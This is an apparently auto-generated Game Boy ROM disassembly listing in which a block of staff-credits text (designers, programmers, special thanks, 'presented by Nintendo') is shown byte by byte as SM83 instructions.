jr_006_7a4e:
jr nz, @+$4a ; $7a4e: $20 $48
ld c, c ; $7a50: $49
jr_006_7a51:
ld d, d ; $7a51: $52
ld b, c ; $7a52: $41
ld c, [hl] ; $7a53: $4e
ld c, a ; $7a54: $4f
jr_006_7a55:
jr nz, jr_006_7a77 ; $7a55: $20 $20
jr nz, @+$22 ; $7a57: $20 $20
jr nz, jr_006_7a7b ; $7a59: $20 $20
jr nz, jr_006_7a4e ; $7a5b: $20 $f1
pop af ; $7a5d: $f1
pop af ; $7a5e: $f1
pop af ; $7a5f: $f1
pop af ; $7a60: $f1
pop af ; $7a61: $f1
jr nz, jr_006_7aab ; $7a62: $20 $47
ld d, d ; $7a64: $52
jr_006_7a65:
ld b, c ; $7a65: $41
ld d, b ; $7a66: $50
jr_006_7a67:
ld c, b ; $7a67: $48
jr_006_7a68:
ld c, c ; $7a68: $49
ld b, e ; $7a69: $43
jr_006_7a6a:
jr nz, @+$46 ; $7a6a: $20 $44
ld b, l ; $7a6c: $45
ld d, e ; $7a6d: $53
ld c, c ; $7a6e: $49
ld b, a ; $7a6f: $47
ld c, [hl] ; $7a70: $4e
ld b, l ; $7a71: $45
ld d, d ; $7a72: $52
jr nz, jr_006_7a95 ; $7a73: $20 $20
jr nz, jr_006_7a68 ; $7a75: $20 $f1
jr_006_7a77:
pop af ; $7a77: $f1
jr nz, jr_006_7a9a ; $7a78: $20 $20
ld c, b ; $7a7a: $48
jr_006_7a7b:
ld c, c ; $7a7b: $49
ld d, d ; $7a7c: $52
ld c, a ; $7a7d: $4f
jr_006_7a7e:
ld c, d ; $7a7e: $4a
ld c, c ; $7a7f: $49
jr nz, jr_006_7acd ; $7a80: $20 $4b
ld c, c ; $7a82: $49
ld e, c ; $7a83: $59
ld c, a ; $7a84: $4f
ld d, h ; $7a85: $54
ld b, c ; $7a86: $41
ld c, e ; $7a87: $4b
ld b, l ; $7a88: $45
jr nz, jr_006_7aab ; $7a89: $20 $20
jr nz, jr_006_7a7e ; $7a8b: $20 $f1
jr nz, jr_006_7aaf ; $7a8d: $20 $20
ld c, b ; $7a8f: $48
ld c, c ; $7a90: $49
ld d, d ; $7a91: $52
ld c, a ; $7a92: $4f
jr_006_7a93:
ld e, c ; $7a93: $59
ld d, l ; $7a94: $55
jr_006_7a95:
ld c, e ; $7a95: $4b
ld c, c ; $7a96: $49
jr nz, jr_006_7ae4 ; $7a97: $20 $4b
ld c, c ; $7a99: $49
jr_006_7a9a:
ld c, l ; $7a9a: $4d
ld d, l ; $7a9b: $55
ld d, d ; $7a9c: $52
ld b, c ; $7a9d: $41
jr nz, jr_006_7ac0 ; $7a9e: $20 $20
jr nz, jr_006_7a93 ; $7aa0: $20 $f1
pop af ; $7aa2: $f1
pop af ; $7aa3: $f1
pop af ; $7aa4: $f1
pop af ; $7aa5: $f1
pop af ; $7aa6: $f1
jr nz, jr_006_7af9 ; $7aa7: $20 $50
ld d, d ; $7aa9: $52
ld c, a ; $7aaa: $4f
jr_006_7aab:
ld b, a ; $7aab: $47
ld d, d ; $7aac: $52
ld b, c ; $7aad: $41
ld c, l ; $7aae: $4d
jr_006_7aaf:
jr nz, jr_006_7af2 ; $7aaf: $20 $41
ld d, e ; $7ab1: $53
ld d, e ; $7ab2: $53
ld c, c ; $7ab3: $49
ld d, e ; $7ab4: $53
ld d, h ; $7ab5: $54
ld b, c ; $7ab6: $41
ld c, [hl] ; $7ab7: $4e
ld d, h ; $7ab8: $54
jr nz, jr_006_7adb ; $7ab9: $20 $20
pop af ; $7abb: $f1
pop af ; $7abc: $f1
jr nz, jr_006_7adf ; $7abd: $20 $20
ld e, c ; $7abf: $59
jr_006_7ac0:
ld d, l ; $7ac0: $55
ld e, d ; $7ac1: $5a
ld d, l ; $7ac2: $55
ld d, d ; $7ac3: $52
ld d, l ; $7ac4: $55
jr nz, jr_006_7b16 ; $7ac5: $20 $4f
ld b, a ; $7ac7: $47
ld b, c ; $7ac8: $41
ld d, a ; $7ac9: $57
ld b, c ; $7aca: $41
jr nz, @+$22 ; $7acb: $20 $20
jr_006_7acd:
jr nz, jr_006_7aef ; $7acd: $20 $20
jr nz, jr_006_7af1 ; $7acf: $20 $20
pop af ; $7ad1: $f1
jr nz, jr_006_7af4 ; $7ad2: $20 $20
ld c, [hl] ; $7ad4: $4e
ld c, a ; $7ad5: $4f
ld b, d ; $7ad6: $42
ld d, l ; $7ad7: $55
ld c, b ; $7ad8: $48
ld c, c ; $7ad9: $49
ld d, d ; $7ada: $52
jr_006_7adb:
ld c, a ; $7adb: $4f
jr nz, jr_006_7b2d ; $7adc: $20 $4f
ld e, d ; $7ade: $5a
jr_006_7adf:
ld b, c ; $7adf: $41
ld c, e ; $7ae0: $4b
ld c, c ; $7ae1: $49
jr nz, jr_006_7b04 ; $7ae2: $20 $20
jr_006_7ae4:
jr nz, jr_006_7b06 ; $7ae4: $20 $20
pop af ; $7ae6: $f1
pop af ; $7ae7: $f1
pop af ; $7ae8: $f1
pop af ; $7ae9: $f1
pop af ; $7aea: $f1
pop af ; $7aeb: $f1
jr nz, @+$55 ; $7aec: $20 $53
ld c, a ; $7aee: $4f
jr_006_7aef:
ld d, l ; $7aef: $55
ld c, [hl] ; $7af0: $4e
jr_006_7af1:
ld b, h ; $7af1: $44
jr_006_7af2:
jr nz, jr_006_7b44 ; $7af2: $20 $50
jr_006_7af4:
ld d, d ; $7af4: $52
ld c, a ; $7af5: $4f
ld b, a ; $7af6: $47
ld d, d ; $7af7: $52
ld b, c ; $7af8: $41
jr_006_7af9:
ld c, l ; $7af9: $4d
ld c, l ; $7afa: $4d
ld b, l ; $7afb: $45
ld d, d ; $7afc: $52
jr nz, jr_006_7b1f ; $7afd: $20 $20
jr nz, jr_006_7af2 ; $7aff: $20 $f1
pop af ; $7b01: $f1
jr nz, jr_006_7b24 ; $7b02: $20 $20
jr_006_7b04:
ld d, d ; $7b04: $52
ld e, c ; $7b05: $59
jr_006_7b06:
ld c, a ; $7b06: $4f
ld c, b ; $7b07: $48
ld c, d ; $7b08: $4a
ld c, c ; $7b09: $49
jr nz, jr_006_7b65 ; $7b0a: $20 $59
ld c, a ; $7b0c: $4f
ld d, e ; $7b0d: $53
ld c, b ; $7b0e: $48
ld c, c ; $7b0f: $49
ld d, h ; $7b10: $54
ld c, a ; $7b11: $4f
ld c, l ; $7b12: $4d
ld c, c ; $7b13: $49
jr nz, jr_006_7b36 ; $7b14: $20 $20
jr_006_7b16:
pop af ; $7b16: $f1
pop af ; $7b17: $f1
pop af ; $7b18: $f1
pop af ; $7b19: $f1
pop af ; $7b1a: $f1
pop af ; $7b1b: $f1
jr nz, jr_006_7b62 ; $7b1c: $20 $44
ld b, l ; $7b1e: $45
jr_006_7b1f:
ld d, e ; $7b1f: $53
ld c, c ; $7b20: $49
ld b, a ; $7b21: $47
jr_006_7b22:
ld c, [hl] ; $7b22: $4e
ld b, l ; $7b23: $45
jr_006_7b24:
ld d, d ; $7b24: $52
jr nz, jr_006_7b47 ; $7b25: $20 $20
jr nz, jr_006_7b49 ; $7b27: $20 $20
jr nz, jr_006_7b4b ; $7b29: $20 $20
jr nz, jr_006_7b4d ; $7b2b: $20 $20
jr_006_7b2d:
jr nz, jr_006_7b4f ; $7b2d: $20 $20
jr nz, jr_006_7b22 ; $7b2f: $20 $f1
pop af ; $7b31: $f1
jr nz, jr_006_7b54 ; $7b32: $20 $20
ld c, l ; $7b34: $4d
ld b, c ; $7b35: $41
jr_006_7b36:
ld c, e ; $7b36: $4b
ld c, a ; $7b37: $4f
ld d, h ; $7b38: $54
ld c, a ; $7b39: $4f
jr nz, @+$4d ; $7b3a: $20 $4b
ld b, c ; $7b3c: $41
ld c, [hl] ; $7b3d: $4e
ld c, a ; $7b3e: $4f
ld c, b ; $7b3f: $48
jr nz, jr_006_7b62 ; $7b40: $20 $20
jr nz, jr_006_7b64 ; $7b42: $20 $20
jr_006_7b44:
jr nz, jr_006_7b66 ; $7b44: $20 $20
pop af ; $7b46: $f1
jr_006_7b47:
jr nz, jr_006_7b69 ; $7b47: $20 $20
jr_006_7b49:
ld c, l ; $7b49: $4d
ld b, c ; $7b4a: $41
jr_006_7b4b:
ld d, e ; $7b4b: $53
ld b, c ; $7b4c: $41
jr_006_7b4d:
ld b, [hl] ; $7b4d: $46
ld d, l ; $7b4e: $55
jr_006_7b4f:
ld c, l ; $7b4f: $4d
ld c, c ; $7b50: $49
jr nz, jr_006_7ba6 ; $7b51: $20 $53
ld b, c ; $7b53: $41
jr_006_7b54:
ld c, e ; $7b54: $4b
ld b, c ; $7b55: $41
ld d, e ; $7b56: $53
ld c, b ; $7b57: $48
ld c, c ; $7b58: $49
ld d, h ; $7b59: $54
ld b, c ; $7b5a: $41
pop af ; $7b5b: $f1
jr nz, jr_006_7b7e ; $7b5c: $20 $20
ld d, h ; $7b5e: $54
ld c, a ; $7b5f: $4f
ld c, l ; $7b60: $4d
ld c, a ; $7b61: $4f
jr_006_7b62:
ld e, c ; $7b62: $59
ld c, a ; $7b63: $4f
jr_006_7b64:
ld d, e ; $7b64: $53
jr_006_7b65:
ld c, b ; $7b65: $48
jr_006_7b66:
ld c, c ; $7b66: $49
jr nz, jr_006_7bc2 ; $7b67: $20 $59
jr_006_7b69:
ld b, c ; $7b69: $41
ld c, l ; $7b6a: $4d
ld b, c ; $7b6b: $41
ld c, [hl] ; $7b6c: $4e
ld b, l ; $7b6d: $45
jr nz, jr_006_7b90 ; $7b6e: $20 $20
pop af ; $7b70: $f1
jr nz, jr_006_7b93 ; $7b71: $20 $20
ld d, h ; $7b73: $54
ld b, c ; $7b74: $41
ld c, e ; $7b75: $4b
ld b, l ; $7b76: $45
jr_006_7b77:
ld c, b ; $7b77: $48
ld c, c ; $7b78: $49
ld c, e ; $7b79: $4b
ld c, a ; $7b7a: $4f
jr nz, @+$4a ; $7b7b: $20 $48
ld c, a ; $7b7d: $4f
jr_006_7b7e:
ld d, e ; $7b7e: $53
ld c, a ; $7b7f: $4f
ld c, e ; $7b80: $4b
ld b, c ; $7b81: $41
ld d, a ; $7b82: $57
ld b, c ; $7b83: $41
jr nz, jr_006_7b77 ; $7b84: $20 $f1
jr nz, jr_006_7ba8 ; $7b86: $20 $20
ld e, c ; $7b88: $59
ld b, c ; $7b89: $41
ld d, e ; $7b8a: $53
ld d, l ; $7b8b: $55
jr_006_7b8c:
ld c, a ; $7b8c: $4f
jr nz, jr_006_7bd8 ; $7b8d: $20 $49
ld c, [hl] ; $7b8f: $4e
jr_006_7b90:
ld c, a ; $7b90: $4f
ld d, l ; $7b91: $55
ld b, l ; $7b92: $45
jr_006_7b93:
jr nz, jr_006_7bb5 ; $7b93: $20 $20
jr nz, @+$22 ; $7b95: $20 $20
jr nz, jr_006_7bb9 ; $7b97: $20 $20
jr nz, jr_006_7b8c ; $7b99: $20 $f1
pop af ; $7b9b: $f1
pop af ; $7b9c: $f1
pop af ; $7b9d: $f1
pop af ; $7b9e: $f1
pop af ; $7b9f: $f1
jr nz, jr_006_7be6 ; $7ba0: $20 $44
ld b, l ; $7ba2: $45
ld b, d ; $7ba3: $42
ld d, l ; $7ba4: $55
ld b, a ; $7ba5: $47
jr_006_7ba6:
ld b, a ; $7ba6: $47
ld b, l ; $7ba7: $45
jr_006_7ba8:
ld d, d ; $7ba8: $52
jr nz, jr_006_7bcb ; $7ba9: $20 $20
jr nz, jr_006_7bcd ; $7bab: $20 $20
jr nz, jr_006_7bcf ; $7bad: $20 $20
jr nz, jr_006_7bd1 ; $7baf: $20 $20
jr nz, @+$22 ; $7bb1: $20 $20
jr nz, jr_006_7ba6 ; $7bb3: $20 $f1
jr_006_7bb5:
pop af ; $7bb5: $f1
jr nz, jr_006_7bd8 ; $7bb6: $20 $20
ld c, l ; $7bb8: $4d
jr_006_7bb9:
ld b, c ; $7bb9: $41
ld d, e ; $7bba: $53
ld b, c ; $7bbb: $41
ld d, d ; $7bbc: $52
ld d, l ; $7bbd: $55
jr nz, jr_006_7c0f ; $7bbe: $20 $4f
ld c, e ; $7bc0: $4b
ld b, c ; $7bc1: $41
jr_006_7bc2:
ld b, h ; $7bc2: $44
ld b, c ; $7bc3: $41
jr nz, jr_006_7be6 ; $7bc4: $20 $20
jr nz, jr_006_7be8 ; $7bc6: $20 $20
jr nz, jr_006_7bea ; $7bc8: $20 $20
pop af ; $7bca: $f1
jr_006_7bcb:
jr nz, jr_006_7bed ; $7bcb: $20 $20
jr_006_7bcd:
ld c, e ; $7bcd: $4b
ld b, l ; $7bce: $45
jr_006_7bcf:
ld c, [hl] ; $7bcf: $4e
ld c, d ; $7bd0: $4a
jr_006_7bd1:
ld c, c ; $7bd1: $49
jr nz, jr_006_7c22 ; $7bd2: $20 $4e
ld c, c ; $7bd4: $49
ld d, e ; $7bd5: $53
ld c, b ; $7bd6: $48
ld c, c ; $7bd7: $49
jr_006_7bd8:
ld e, d ; $7bd8: $5a
ld b, c ; $7bd9: $41
ld d, a ; $7bda: $57
ld b, c ; $7bdb: $41
jr nz, jr_006_7bfe ; $7bdc: $20 $20
jr nz, jr_006_7bd1 ; $7bde: $20 $f1
jr nz, jr_006_7c02 ; $7be0: $20 $20
ld c, b ; $7be2: $48
ld c, c ; $7be3: $49
ld d, d ; $7be4: $52
ld c, a ; $7be5: $4f
jr_006_7be6:
ld b, [hl] ; $7be6: $46
ld d, l ; $7be7: $55
jr_006_7be8:
ld c, l ; $7be8: $4d
ld c, c ; $7be9: $49
jr_006_7bea:
jr nz, jr_006_7c39 ; $7bea: $20 $4d
ld b, c ; $7bec: $41
jr_006_7bed:
ld d, h ; $7bed: $54
ld d, e ; $7bee: $53
ld d, l ; $7bef: $55
ld c, a ; $7bf0: $4f
ld c, e ; $7bf1: $4b
ld b, c ; $7bf2: $41
jr nz, jr_006_7be6 ; $7bf3: $20 $f1
jr nz, jr_006_7c17 ; $7bf5: $20 $20
ld d, h ; $7bf7: $54
ld c, a ; $7bf8: $4f
ld c, b ; $7bf9: $48
ld d, d ; $7bfa: $52
ld d, l ; $7bfb: $55
jr nz, jr_006_7c4d ; $7bfc: $20 $4f
jr_006_7bfe:
ld c, b ; $7bfe: $48
ld d, e ; $7bff: $53
ld b, c ; $7c00: $41
ld d, a ; $7c01: $57
jr_006_7c02:
ld b, c ; $7c02: $41
jr nz, jr_006_7c25 ; $7c03: $20 $20
jr nz, jr_006_7c27 ; $7c05: $20 $20
jr nz, @+$22 ; $7c07: $20 $20
pop af ; $7c09: $f1
jr nz, jr_006_7c2c ; $7c0a: $20 $20
ld c, e ; $7c0c: $4b
ld c, a ; $7c0d: $4f
ld c, b ; $7c0e: $48
jr_006_7c0f:
ld d, h ; $7c0f: $54
jr_006_7c10:
ld b, c ; $7c10: $41
jr nz, jr_006_7c59 ; $7c11: $20 $46
ld d, l ; $7c13: $55
ld c, e ; $7c14: $4b
ld d, l ; $7c15: $55
ld c, c ; $7c16: $49
jr_006_7c17:
jr nz, jr_006_7c39 ; $7c17: $20 $20
jr nz, jr_006_7c3b ; $7c19: $20 $20
jr nz, jr_006_7c3d ; $7c1b: $20 $20
jr nz, jr_006_7c10 ; $7c1d: $20 $f1
jr nz, jr_006_7c41 ; $7c1f: $20 $20
ld c, e ; $7c21: $4b
jr_006_7c22:
ld b, l ; $7c22: $45
ld c, c ; $7c23: $49
ld d, e ; $7c24: $53
jr_006_7c25:
ld d, l ; $7c25: $55
ld c, e ; $7c26: $4b
jr_006_7c27:
ld b, l ; $7c27: $45
jr nz, jr_006_7c7e ; $7c28: $20 $54
ld b, l ; $7c2a: $45
ld d, d ; $7c2b: $52
jr_006_7c2c:
ld b, c ; $7c2c: $41
ld d, e ; $7c2d: $53
ld b, c ; $7c2e: $41
ld c, e ; $7c2f: $4b
ld c, c ; $7c30: $49
jr nz, @+$22 ; $7c31: $20 $20
pop af ; $7c33: $f1
jr nz, jr_006_7c56 ; $7c34: $20 $20
ld c, e ; $7c36: $4b
ld b, l ; $7c37: $45
ld c, [hl] ; $7c38: $4e
jr_006_7c39:
ld c, c ; $7c39: $49
ld b, e ; $7c3a: $43
jr_006_7c3b:
ld c, b ; $7c3b: $48
ld c, c ; $7c3c: $49
jr_006_7c3d:
jr nz, @+$55 ; $7c3d: $20 $53
ld d, l ; $7c3f: $55
ld b, a ; $7c40: $47
jr_006_7c41:
ld c, c ; $7c41: $49
ld c, [hl] ; $7c42: $4e
ld c, a ; $7c43: $4f
jr nz, jr_006_7c66 ; $7c44: $20 $20
jr nz, @+$22 ; $7c46: $20 $20
pop af ; $7c48: $f1
jr nz, jr_006_7c6b ; $7c49: $20 $20
ld c, b ; $7c4b: $48
ld c, c ; $7c4c: $49
jr_006_7c4d:
ld d, h ; $7c4d: $54
ld c, a ; $7c4e: $4f
ld d, e ; $7c4f: $53
ld c, b ; $7c50: $48
ld c, c ; $7c51: $49
jr nz, @+$5b ; $7c52: $20 $59
ld b, c ; $7c54: $41
ld c, l ; $7c55: $4d
jr_006_7c56:
ld b, c ; $7c56: $41
ld b, a ; $7c57: $47
ld b, c ; $7c58: $41
jr_006_7c59:
ld c, l ; $7c59: $4d
ld c, c ; $7c5a: $49
jr nz, jr_006_7c7d ; $7c5b: $20 $20
pop af ; $7c5d: $f1
jr nz, jr_006_7c80 ; $7c5e: $20 $20
ld c, e ; $7c60: $4b
ld b, c ; $7c61: $41
ld d, h ; $7c62: $54
ld d, e ; $7c63: $53
ld d, l ; $7c64: $55
ld e, c ; $7c65: $59
jr_006_7c66:
ld b, c ; $7c66: $41
jr nz, jr_006_7cc2 ; $7c67: $20 $59
ld b, c ; $7c69: $41
ld c, l ; $7c6a: $4d
jr_006_7c6b:
ld b, c ; $7c6b: $41
ld c, [hl] ; $7c6c: $4e
ld c, a ; $7c6d: $4f
jr nz, @+$22 ; $7c6e: $20 $20
jr nz, @+$22 ; $7c70: $20 $20
pop af ; $7c72: $f1
jr nz, jr_006_7c95 ; $7c73: $20 $20
ld e, c ; $7c75: $59
ld d, l ; $7c76: $55
ld c, d ; $7c77: $4a
ld c, c ; $7c78: $49
jr_006_7c79:
jr nz, jr_006_7cc3 ; $7c79: $20 $48
ld c, a ; $7c7b: $4f
ld d, d ; $7c7c: $52
jr_006_7c7d:
ld c, c ; $7c7d: $49
jr_006_7c7e:
jr nz, jr_006_7ca0 ; $7c7e: $20 $20
jr_006_7c80:
jr nz, jr_006_7ca2 ; $7c80: $20 $20
jr nz, jr_006_7ca4 ; $7c82: $20 $20
jr nz, jr_006_7ca6 ; $7c84: $20 $20
jr nz, jr_006_7c79 ; $7c86: $20 $f1
pop af ; $7c88: $f1
pop af ; $7c89: $f1
pop af ; $7c8a: $f1
pop af ; $7c8b: $f1
pop af ; $7c8c: $f1
pop af ; $7c8d: $f1
pop af ; $7c8e: $f1
jr nz, jr_006_7cef ; $7c8f: $20 $5e
jr nz, jr_006_7ce6 ; $7c91: $20 $53
ld d, b ; $7c93: $50
ld b, l ; $7c94: $45
jr_006_7c95:
ld b, e ; $7c95: $43
ld c, c ; $7c96: $49
ld b, c ; $7c97: $41
ld c, h ; $7c98: $4c
jr nz, jr_006_7cef ; $7c99: $20 $54
ld c, b ; $7c9b: $48
ld b, c ; $7c9c: $41
ld c, [hl] ; $7c9d: $4e
ld c, e ; $7c9e: $4b
ld d, e ; $7c9f: $53
jr_006_7ca0:
jr nz, @+$60 ; $7ca0: $20 $5e
jr_006_7ca2:
jr nz, jr_006_7c95 ; $7ca2: $20 $f1
jr_006_7ca4:
jr nz, jr_006_7cc6 ; $7ca4: $20 $20
jr_006_7ca6:
jr nz, jr_006_7cc8 ; $7ca6: $20 $20
jr nz, jr_006_7cca ; $7ca8: $20 $20
jr_006_7caa:
jr nz, @+$22 ; $7caa: $20 $20
jr nz, jr_006_7d02 ; $7cac: $20 $54
ld c, a ; $7cae: $4f
jr nz, jr_006_7cd1 ; $7caf: $20 $20
jr nz, jr_006_7cd3 ; $7cb1: $20 $20
jr nz, jr_006_7cd5 ; $7cb3: $20 $20
jr nz, jr_006_7cd7 ; $7cb5: $20 $20
jr nz, jr_006_7caa ; $7cb7: $20 $f1
pop af ; $7cb9: $f1
jr nz, jr_006_7cdc ; $7cba: $20 $20
ld d, h ; $7cbc: $54
ld b, c ; $7cbd: $41
ld c, e ; $7cbe: $4b
ld b, l ; $7cbf: $45
jr_006_7cc0:
ld c, b ; $7cc0: $48
ld c, c ; $7cc1: $49
jr_006_7cc2:
ld d, d ; $7cc2: $52
jr_006_7cc3:
ld c, a ; $7cc3: $4f
jr nz, @+$4b ; $7cc4: $20 $49
jr_006_7cc6:
ld e, d ; $7cc6: $5a
ld d, l ; $7cc7: $55
jr_006_7cc8:
ld d, e ; $7cc8: $53
ld c, b ; $7cc9: $48
jr_006_7cca:
ld c, c ; $7cca: $49
jr nz, jr_006_7ced ; $7ccb: $20 $20
jr nz, jr_006_7cc0 ; $7ccd: $20 $f1
jr nz, jr_006_7cf1 ; $7ccf: $20 $20
jr_006_7cd1:
ld d, b ; $7cd1: $50
ld c, b ; $7cd2: $48
jr_006_7cd3:
ld c, c ; $7cd3: $49
ld c, h ; $7cd4: $4c
jr_006_7cd5:
jr nz, jr_006_7d2a ; $7cd5: $20 $53
jr_006_7cd7:
ld b, c ; $7cd7: $41
ld c, [hl] ; $7cd8: $4e
ld b, h ; $7cd9: $44
ld c, b ; $7cda: $48
ld c, a ; $7cdb: $4f
jr_006_7cdc:
ld d, b ; $7cdc: $50
jr nz, jr_006_7cff ; $7cdd: $20 $20
jr nz, jr_006_7d01 ; $7cdf: $20 $20
jr nz, jr_006_7d03 ; $7ce1: $20 $20
pop af ; $7ce3: $f1
jr nz, jr_006_7d06 ; $7ce4: $20 $20
jr_006_7ce6:
ld d, h ; $7ce6: $54
ld c, a ; $7ce7: $4f
ld c, [hl] ; $7ce8: $4e
ld e, c ; $7ce9: $59
jr_006_7cea:
jr nz, jr_006_7d3f ; $7cea: $20 $53
ld d, h ; $7cec: $54
jr_006_7ced:
ld b, c ; $7ced: $41
ld c, [hl] ; $7cee: $4e
jr_006_7cef:
ld b, e ; $7cef: $43
ld e, d ; $7cf0: $5a
jr_006_7cf1:
ld e, c ; $7cf1: $59
ld c, e ; $7cf2: $4b
jr nz, @+$22 ; $7cf3: $20 $20
jr nz, jr_006_7d17 ; $7cf5: $20 $20
jr nz, jr_006_7cea ; $7cf7: $20 $f1
jr nz, jr_006_7d1b ; $7cf9: $20 $20
ld e, c ; $7cfb: $59
ld d, l ; $7cfc: $55
ld c, e ; $7cfd: $4b
ld b, c ; $7cfe: $41
jr_006_7cff:
jr nz, jr_006_7d4f ; $7cff: $20 $4e
jr_006_7d01:
ld b, c ; $7d01: $41
jr_006_7d02:
ld c, e ; $7d02: $4b
jr_006_7d03:
ld b, c ; $7d03: $41
ld d, h ; $7d04: $54
ld b, c ; $7d05: $41
jr_006_7d06:
jr nz, jr_006_7d28 ; $7d06: $20 $20
jr nz, jr_006_7d2a ; $7d08: $20 $20
jr nz, jr_006_7d2c ; $7d0a: $20 $20
jr nz, jr_006_7cff ; $7d0c: $20 $f1
jr nz, jr_006_7d30 ; $7d0e: $20 $20
ld c, b ; $7d10: $48
ld c, c ; $7d11: $49
ld d, d ; $7d12: $52
ld c, a ; $7d13: $4f
jr_006_7d14:
jr nz, jr_006_7d6f ; $7d14: $20 $59
ld b, c ; $7d16: $41
jr_006_7d17:
ld c, l ; $7d17: $4d
ld b, c ; $7d18: $41
ld b, h ; $7d19: $44
ld b, c ; $7d1a: $41
jr_006_7d1b:
jr nz, jr_006_7d3d ; $7d1b: $20 $20
jr nz, jr_006_7d3f ; $7d1d: $20 $20
jr nz, jr_006_7d41 ; $7d1f: $20 $20
jr nz, jr_006_7d14 ; $7d21: $20 $f1
jr nz, jr_006_7d45 ; $7d23: $20 $20
ld b, h ; $7d25: $44
ld b, c ; $7d26: $41
ld c, [hl] ; $7d27: $4e
jr_006_7d28:
jr nz, jr_006_7d79 ; $7d28: $20 $4f
jr_006_7d2a:
ld d, a ; $7d2a: $57
ld d, e ; $7d2b: $53
jr_006_7d2c:
ld b, l ; $7d2c: $45
ld c, [hl] ; $7d2d: $4e
jr nz, jr_006_7d50 ; $7d2e: $20 $20
jr_006_7d30:
jr nz, jr_006_7d52 ; $7d30: $20 $20
jr nz, jr_006_7d54 ; $7d32: $20 $20
jr nz, @+$22 ; $7d34: $20 $20
jr nz, @-$0d ; $7d36: $20 $f1
jr nz, jr_006_7d5a ; $7d38: $20 $20
ld b, h ; $7d3a: $44
ld e, c ; $7d3b: $59
ld c, h ; $7d3c: $4c
jr_006_7d3d:
ld b, c ; $7d3d: $41
ld c, [hl] ; $7d3e: $4e
jr_006_7d3f:
jr nz, jr_006_7d84 ; $7d3f: $20 $43
jr_006_7d41:
ld d, l ; $7d41: $55
ld d, h ; $7d42: $54
ld c, b ; $7d43: $48
ld b, d ; $7d44: $42
jr_006_7d45:
ld b, l ; $7d45: $45
ld d, d ; $7d46: $52
ld d, h ; $7d47: $54
jr nz, jr_006_7d6a ; $7d48: $20 $20
jr nz, jr_006_7d6c ; $7d4a: $20 $20
pop af ; $7d4c: $f1
jr nz, jr_006_7d6f ; $7d4d: $20 $20
jr_006_7d4f:
ld d, e ; $7d4f: $53
jr_006_7d50:
ld b, c ; $7d50: $41
ld b, e ; $7d51: $43
jr_006_7d52:
ld c, b ; $7d52: $48
ld c, c ; $7d53: $49
jr_006_7d54:
ld b, l ; $7d54: $45
jr nz, jr_006_7da0 ; $7d55: $20 $49
ld c, [hl] ; $7d57: $4e
ld c, a ; $7d58: $4f
ld c, e ; $7d59: $4b
jr_006_7d5a:
ld b, l ; $7d5a: $45
jr nz, jr_006_7d7d ; $7d5b: $20 $20
jr nz, jr_006_7d7f ; $7d5d: $20 $20
jr nz, jr_006_7d81 ; $7d5f: $20 $20
pop af ; $7d61: $f1
pop af ; $7d62: $f1
pop af ; $7d63: $f1
pop af ; $7d64: $f1
pop af ; $7d65: $f1
pop af ; $7d66: $f1
pop af ; $7d67: $f1
pop af ; $7d68: $f1
pop af ; $7d69: $f1
jr_006_7d6a:
pop af ; $7d6a: $f1
pop af ; $7d6b: $f1
jr_006_7d6c:
pop af ; $7d6c: $f1
pop af ; $7d6d: $f1
pop af ; $7d6e: $f1
jr_006_7d6f:
jr nz, jr_006_7d91 ; $7d6f: $20 $20
jr nz, @+$52 ; $7d71: $20 $50
ld d, d ; $7d73: $52
ld b, l ; $7d74: $45
ld d, e ; $7d75: $53
ld b, l ; $7d76: $45
ld c, [hl] ; $7d77: $4e
ld d, h ; $7d78: $54
jr_006_7d79:
ld b, l ; $7d79: $45
ld b, h ; $7d7a: $44
jr nz, jr_006_7d9d ; $7d7b: $20 $20
jr_006_7d7d:
jr nz, jr_006_7d9f ; $7d7d: $20 $20
jr_006_7d7f:
jr nz, jr_006_7da1 ; $7d7f: $20 $20
jr_006_7d81:
jr nz, jr_006_7da3 ; $7d81: $20 $20
pop af ; $7d83: $f1
jr_006_7d84:
jr nz, jr_006_7da6 ; $7d84: $20 $20
jr nz, jr_006_7da8 ; $7d86: $20 $20
jr nz, jr_006_7daa ; $7d88: $20 $20
jr_006_7d8a:
jr nz, @+$44 ; $7d8a: $20 $42
ld e, c ; $7d8c: $59
jr nz, jr_006_7daf ; $7d8d: $20 $20
jr nz, jr_006_7db1 ; $7d8f: $20 $20
jr_006_7d91:
jr nz, jr_006_7db3 ; $7d91: $20 $20
jr nz, jr_006_7db5 ; $7d93: $20 $20
jr nz, jr_006_7db7 ; $7d95: $20 $20
jr nz, jr_006_7d8a ; $7d97: $20 $f1
jr nz, jr_006_7dbb ; $7d99: $20 $20
jr nz, jr_006_7dbd ; $7d9b: $20 $20
jr_006_7d9d:
jr nz, jr_006_7ded ; $7d9d: $20 $4e
jr_006_7d9f:
ld c, c ; $7d9f: $49
jr_006_7da0:
ld c, [hl] ; $7da0: $4e
jr_006_7da1:
ld d, h ; $7da1: $54
ld b, l ; $7da2: $45
jr_006_7da3:
ld c, [hl] ; $7da3: $4e
ld b, h ; $7da4: $44
ld c, a ; $7da5: $4f
jr_006_7da6:
jr nz, jr_006_7dc8 ; $7da6: $20 $20
jr_006_7da8:
jr nz, @+$22 ; $7da8: $20 $20
jr_006_7daa:
jr nz, @+$22 ; $7daa: $20 $20
jr nz, jr_006_7d9f ; $7dac: $20 $f1
pop af ; $7dae: $f1
jr_006_7daf:
pop af ; $7daf: $f1
pop af ; $7db0: $f1
jr_006_7db1:
pop af ; $7db1: $f1
pop af ; $7db2: $f1
jr_006_7db3:
pop af ; $7db3: $f1
pop af ; $7db4: $f1
jr_006_7db5:
pop af ; $7db5: $f1
pop af ; $7db6: $f1
jr_006_7db7:
pop af ; $7db7: $f1
pop af ; $7db8: $f1
pop af ; $7db9: $f1
pop af ; $7dba: $f1
jr_006_7dbb:
pop af ; $7dbb: $f1
pop af ; $7dbc: $f1
jr_006_7dbd:
pop af ; $7dbd: $f1
jr nz, jr_006_7de0 ; $7dbe: $20 $20
jr nz, jr_006_7de2 ; $7dc0: $20 $20
jr nz, @+$23 ; $7dc2: $20 $21
ld [hl+], a ; $7dc4: $22
inc hl ; $7dc5: $23
jr nz, @+$26 ; $7dc6: $20 $24
jr_006_7dc8:
dec h ; $7dc8: $25
jr nz, jr_006_7df1 ; $7dc9: $20 $26
jr nz, jr_006_7ded ; $7dcb: $20 $20
jr nz, jr_006_7def ; $7dcd: $20 $20
jr nz, jr_006_7df1 ; $7dcf: $20 $20
jr nz, jr_006_7df3 ; $7dd1: $20 $20
jr nz, jr_006_7df5 ; $7dd3: $20 $20
jr nz, jr_006_7df7 ; $7dd5: $20 $20
daa ; $7dd7: $27
jr z, @+$2b ; $7dd8: $28 $29
